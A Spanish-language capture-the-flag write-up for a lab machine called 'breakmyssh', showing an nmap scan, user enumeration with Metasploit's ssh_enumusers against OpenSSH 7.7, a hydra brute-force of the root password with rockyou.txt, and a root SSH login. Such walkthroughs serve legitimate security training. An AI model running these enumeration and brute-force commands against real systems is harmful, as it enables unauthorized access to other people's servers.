

breakmyssh

Una vez desplegada la maquina haremos un escaneo de puertos abiertos con nmap.

En mi casa utilizo el siguiente comando:

```
nmap -p- -sS -sC -sV --min-rate 5000 -n -vvv -Pn (ip objetivo)
```

- p-: Escanea todos los puertos .
- sS: Realiza un escaneo sigiloso (SYN Scan) para detectar puertos abiertos.
- sC: Ejecuta scripts predeterminados para recopilar más información del sistema.
- sV: Detecta las versiones de los servicios en ejecución.
- min-rate 5000: Acelera el escaneo enviando al menos 5000 paquetes por segundo.
- n: No realiza resolución DNS, trabaja directamente con direcciones IP.
- vvv: Muestra información detallada y actualizaciones constantes durante el escaneo.
- Pn: Salta el "ping" previo y fuerza el escaneo, incluso si el objetivo no responde.

una vez realizado el escaneo vemos que tenemos un puerto puerto abierto

```
PORT      STATE SERVICE REASON      VERSION
22/tcp    open  ssh      syn-ack ttl 64 OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 1a:cb:5e:a3:3d:d1:da:c0:ed:2a:61:7f:73:79:46:ce (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQDf0r49bj2kh3ab2WutTu6Jx7NA70KSxzp42bJU4nqt
GzXtACiZQp+RwQr5ZEYPA0yasC7C29FaIZVURR7FuFea+tfWZjbzDaP8WnA/U3TQHwtUBsNSR3qFscgJQ1
Vge76qyfzmZdaf5gJT9DKDt47iBkrngCODYrqqt+Bb19ZEGh5SuFdqYfsFMiVlsSjmbx0HtMc2NhTW7jLt
9sYJJNUMMF+lGVf15iouMn
|   256 54:9e:53:23:57:fc:60:1e:c0:41:cb:f3:85:32:01:fc (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBLJ77V//
lwrsK5Rdss/I/iQ23YrzInVWb3VMJk511YbvvreZo=
|   256 4b:15:7e:7b:b3:07:54:3d:74:ad:e0:94:78:0c:94:93 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICFLUqv+frul58FgQLXP91bNrTRC9d1X545DZJ0wsw6z
```

Como la versión es 7.7 sabemos que es vulnerable por ello entramos en metasploit y buscamos alguna vulnerabilidad de OpenSSH

```
msf6 > search OpenSSH

Matching Modules
=====

#  Name                                     Disclosure Date  Rank  Check  Description
-  -  -
0  post/windows/manage/forward_pageant      .               normal No      Forward SSH Agent Requests To Remote
Pageant
1  post/windows/manage/install_ssh          .               normal No      Install [REDACTED] for Windows
2  post/multi/gather/ssh_creds              .               normal No      Multi Gather [REDACTED] PKI Credentials
Collection
3  auxiliary/scanner/ssh/ssh_enumusers      .               normal No      SSH Username Enumeration
4  \ action: Malformed Packet               .               .      Use a malformed packet
5  \ action: Timing Attack                  .               .      Use a timing attack
6  exploit/windows/local/unquoted_service_path 2001-10-25      great Yes   Windows Unquoted Service Path Privile
ge Escalation

Interact with a module by name or index. For example info 6, use 6 or use exploit/windows/local/unquoted_service_path

msf6 > use 3
[*] Using action Malformed Packet - view all 2 actions with the show actions command
msf6 auxiliary(scanner/ssh/ssh_enumusers) > |
```

Usamos la opción 3 que consiste en enumerar los usuarios para después realizar un ataque de fuerza bruta con hydra.

Ponemos el comando `show options` para ver las opciones que tenemos que modificar

```
msf6 auxiliary(scanner/ssh/ssh_enumusers) > show options

Module options (auxiliary/scanner/ssh/ssh_enumusers):

  Name      Current Setting  Required  Description
  ----      -
  CHECK_FALSE true             no        Check for false positives (random username)
  DB_ALL_USERS false           no        Add all users in the current database to the list
  Proxies    no              no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     yes             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      22              yes       The target port
  THREADS    1                yes       The number of concurrent threads (max one per host)
  THRESHOLD  10              yes       Amount of seconds needed before a user is considered found (timing attack only)
  USERNAME   no              no        Single username to test (username spray)
  USER_FILE  no              no        File containing usernames, one per line

Auxiliary action:

  Name      Description
  ----      -
  Malformed Packet Use a malformed packet

View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/ssh/ssh_enumusers) > |
```

En RHOSTS introducimos la ip de la maquina victima y en USER_FILE introducimos el diccionario a utilizar de esta manera:

```
set RHOSTS 172.17.0.2
```

```
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
```

Para finalizar iniciamos el ataque con `run`

```
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
USER_FILE => /usr/share/wordlists/metasploit/unix_users.txt
msf6 auxiliary(scanner/ssh/ssh_enumusers) > run

[*] 172.17.0.2:22 - SSH - Using malformed packet technique
[*] 172.17.0.2:22 - SSH - Checking for false positives
[*] 172.17.0.2:22 - SSH - Starting scan
[*] 172.17.0.2:22 - SSH - User '_apt' found
[*] 172.17.0.2:22 - SSH - User 'backup' found
[*] 172.17.0.2:22 - SSH - User 'bin' found
[*] 172.17.0.2:22 - SSH - User 'daemon' found
[*] 172.17.0.2:22 - SSH - User 'games' found
[*] 172.17.0.2:22 - SSH - User 'gnats' found
[*] 172.17.0.2:22 - SSH - User 'irc' found
[*] 172.17.0.2:22 - SSH - User 'list' found
[*] 172.17.0.2:22 - SSH - User 'lp' found
[*] 172.17.0.2:22 - SSH - User 'mail' found
[*] 172.17.0.2:22 - SSH - User 'man' found
[*] 172.17.0.2:22 - SSH - User 'news' found
[*] 172.17.0.2:22 - SSH - User 'nobody' found
[*] 172.17.0.2:22 - SSH - User 'proxy' found
[*] 172.17.0.2:22 - SSH - User 'root' found
[*] 172.17.0.2:22 - SSH - User 'sync' found
[*] 172.17.0.2:22 - SSH - User 'sys' found
[*] 172.17.0.2:22 - SSH - User 'uucp' found
[*] 172.17.0.2:22 - SSH - User 'www-data' found
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_enumusers) >
```

Vemos que el usuario root está dentro de la lista por lo que aplicaremos un ataque de fuerza bruta con hydra con el siguiente comando:

```
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
```

```
> hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-12 23:47:19
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, t
o prevent overwriting. ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: root password: estrella
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-12 23:47:31
```

Ya tenemos el usuario y la contraseña, lo único que nos hace falta es conectarlo con ssh :

```
sudo ssh root@172.17.0.2
```

```
> sudo ssh root@172.17.0.2
[sudo] password for kali:
root@172.17.0.2's password:
Last login: Sun Jan 12 22:26:28 2025 from 172.17.0.1

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@d9c213852a40:~# whoami
root
root@d9c213852a40:~#
```

Y ya somos usuario root.